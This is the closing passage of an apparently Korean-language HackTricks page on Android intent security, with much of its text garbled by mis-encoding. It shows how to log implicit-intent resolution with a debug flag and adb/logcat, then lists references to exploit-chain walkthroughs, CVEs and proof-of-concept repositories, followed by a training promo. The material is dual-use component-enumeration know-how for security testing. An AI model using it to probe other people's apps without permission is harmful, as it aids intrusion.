์ก์ ์๋ฅผ ์ ์ดํ ์ ์๋ค๋ฉด ์๋ฌต์ Intent์ Intent.FLAG_DEBUG_LOG_RESOLUTION์ ์ถ๊ฐํ์ฌ Android๊ฐ ์ด๋ค ๋ฐฉ์์ผ๋ก ๋ฆฌ์กธ๋ฃจ์
์ ์ํํ๊ณ ์ด๋ค ์ปดํฌ๋ํธ๊ฐ ์ ํ๋๋์ง ๋ก๊ทธ๋ฅผ ๋จ๊ธฐ๊ฒ ํ์ธ์.
์์:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
adb logcat์์ ๋ณด์ด๋ ๊ฒ์ intent ํด๊ฒฐ ์ถ์ ๊ณผ ์ต์ข
์ปดํฌ๋ํธ์
๋๋ค. ์: com.android.camera2/com.android.camera.CaptureActivity.
CLI tip
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
์ด๊ฒ์ ๋๋ฐ์ด์ค/์๋ฎฌ๋ ์ดํฐ์์ ํ๋ณด ํธ๋ค๋ฌ๋ฅผ ์ด๊ฑฐํ๊ณ ํ ์คํธ ์ค์ ์ด๋ค ์ปดํฌ๋ํธ๊ฐ ์ ํํ Intent๋ฅผ ๋ฐ์์ง ํ์ธํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
References
- Android โ Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 โ Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector โ GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab โ 100M installs image app deep dive (component summary example)
- CVE-2024-26131 โ NVD
- CVE-2023-44121 โ CVE.org
- CVE-2023-30728 โ CVE.org
- CVE-2022-36837 โ CVE.org
- CVE-2021-4438 โ NVD
- CVE-2020-14116 โ NVD
- Android Intents (1/2): how they work, security, and attack examples โ Mobeta
- Android Intent reference
- CVE-2025-59489 โ Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs โ Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk โ Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 โ Intent Abuse in Google Messages for Wear OS
- PoC repo โ io-no/CVE-2025-12080
- Android docs โ Intents and Intent Filters
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


